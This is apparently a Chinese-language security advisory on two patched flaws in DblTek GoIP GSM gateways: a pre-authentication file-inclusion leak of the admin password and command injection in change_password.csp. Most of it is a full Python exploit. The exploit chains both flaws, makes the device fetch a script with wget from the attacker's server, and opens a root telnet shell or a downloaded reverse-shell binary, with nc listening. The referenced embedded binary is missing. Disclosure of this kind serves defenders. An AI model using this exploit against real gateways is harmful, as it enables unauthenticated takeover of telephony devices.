导语:发现的漏洞分别是预认证信息泄露和命令执行。如果结合这两个漏洞,就可以进行未认证的远程代码执行。
DblTek(深圳市得伯乐科技有限公司)主要是设计、开发、制造各种GSM网关, SIM BANK, RolP网关等产品。GoIP网关涵盖了1,4,8,16,32端口,可以满足大范围的市场需求。所有产品的价格都比较低,非常吸引人。因为价格和性能的优势,GoIP被系统集成商、VoIP服务提供商和其他商业个人用户广泛采用。
漏洞总结
下面描述了DblTek web服务器中2个漏洞。分别是预认证信息泄露和命令执行。如果结合这两个漏洞,就可以进行未认证的远程代码执行。
厂商回应
该漏洞已经被报告给SecuriTeam Secure Disclosure计划。DblTek已经发布了漏洞补丁。
漏洞细节
用户控制的输入没有进行充分的审查,可以触发本地文件包含(Local File Inclusion)。通过发送GET请求到
/dev/mtdblock/5,攻击者可以下载含有admin密码的配置文件。
GET /default/en_US/frame.html?content=/dev/mtdblock/5
在得到admin密码后,我们可以发送POST请求到change_password.csp触发第二个漏洞。
在传递给change_password.csp时,用户控制的输入没有经过充分的审查。攻击者可以在配置变量中注入含有恶意代码的脚本,并执行该脚本。
POST /default/en_US/change_password.csp
Content-Type: application/x-www-form-urlencoded
Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)###
level=user&user_level_enable=on&passwd=<%%25call system.exec: ###MALICIOUS_COMMAND###>
Proof of Concept
未认证的远程代码执行:
#!/usr/bin/python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, sys, base64, bz2, socket, argparse, threading, requests, re
PAYLOAD0 = '''#!/bin/sh
rm -f /tmp/y
/bin/busybox telnetd -l /bin/sh -p %d &
'''
PAYLOAD1 = '''#!/bin/sh
rm -f /tmp/y /tmp/p
wget -O /tmp/p http://%s:%d/prism
chmod 755 /tmp/p
/tmp/p
'''
class Handler(BaseHTTPRequestHandler):
PRISM_PORT = 1337
TELNET_PORT = 23
def do_GET(self):
if self.path == '/0':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
payload = PAYLOAD0 % Handler.TELNET_PORT
self.wfile.write(payload.encode())
return
if self.path == '/1':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT)
self.wfile.write(payload.encode())
return
if self.path == '/prism':
self.send_response(200)
self.send_header('Content-type', 'octet/stream')
self.end_headers()
self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT))
return
self.send_response(404)
def log_message(self, format, *args):
print(' -- SERVING ' + format % args)
class Server(threading.Thread):
def __init__(self, addr='0.0.0.0', port=8080):
threading.Thread.__init__(self)
Handler.HTTP_ADDR = addr
Handler.HTTP_PORT = port
self.httpd = HTTPServer((addr, port), Handler)
def set(mime, data):
self.RequestHandlerClass.mime = mime
self.RequestHandlerClass.data = data
def run(self):
print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname())
self.httpd.serve_forever()
def stop(self):
print(' - Stopping server')
self.httpd.shutdown()
def prism(host, port):
pyfile = open(os.path.realpath(__file__), 'r')
data, skip = '', True
for line in pyfile:
if skip and line != '""" PRISM ARM V5Ln':
continue
if line == '"""n':
break
if not skip:
data += line.strip()
skip = False
port = str(port)
bhost = host.encode() + (b'�' * (16 - len(host)))
bport = port.encode() + (b'�' * ( 6 - len(port)))
binary = bytearray(bz2.decompress(base64.b64decode(data)))
binary[0x7810:0x7810+16] = bhost
binary[0x7820:0x7820+ 6] = bport
return binary
def getip(host):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, 1337))
return s.getsockname()[0]
def get(url):
print(' -- GET %s' % url)
response = requests.get(url)
return response.text
def post(url, password, data):
print(' -- POST %s' % url)
header = { 'Content-Type': 'application/x-www-form-urlencoded' }
auth = requests.auth.HTTPBasicAuth('admin', password)
response = requests.post(url, auth=auth, data=data, headers=header)
return response.text
def attack_leak(target, variable):
print(' - Dumping configuration (variable=%s)' % variable)
config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
m = re.search(r'%s="(.*)"' % variable, config)
if not m:
print('Cannot leak variable %s :(' % variable)
sys.exit(1)
return m.group(1)
def attack_exec(target, password, command):
print(' - Executing "%s"' % command)
argv = ', '.join(command.split())
data = 'level=user&user_level_enable=on&passwd=<%%25call system.exec: %s>' % argv
post('http://%s/default/en_US/change_password.csp' % target, password, data)
get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
# Parsing attacker input
parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog="""
Available modes are:
1 - Use telnetd on port %d
2 - Use prism daemon with port %d
""" % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address")
parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)")
parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)")
parser.add_argument('target')
args = parser.parse_args(sys.argv[1:])
# Get local address based on target address and routes
myaddr = getip(args.target)
myport = args.port
# Start payload delivery server
server = Server(args.addr or myaddr, myport)
server.start()
try:
# Leak ADMIN_PASSWORD
password = attack_leak(args.target, 'ADMIN_PASSWORD')
print(" -- ADMIN_PASSWORD = '%s'" % password)
attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode))
attack_exec(args.target, password, "/bin/sh /tmp/y")
print(""" - Use these commands to wipe:
-- => setsyscfg USER_PASSWORD=
-- => setsyscfg USER_LEVEL_ENABLE=0""")
if args.mode == 0:
print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT))
os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT))
if args.mode == 1:
print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT))
os.system("nc -l -p %d" % Handler.PRISM_PORT)
except RuntimeError as e:
print(" - Failed :(")
pass
# Stop payload delivery server
server.stop()
server.join()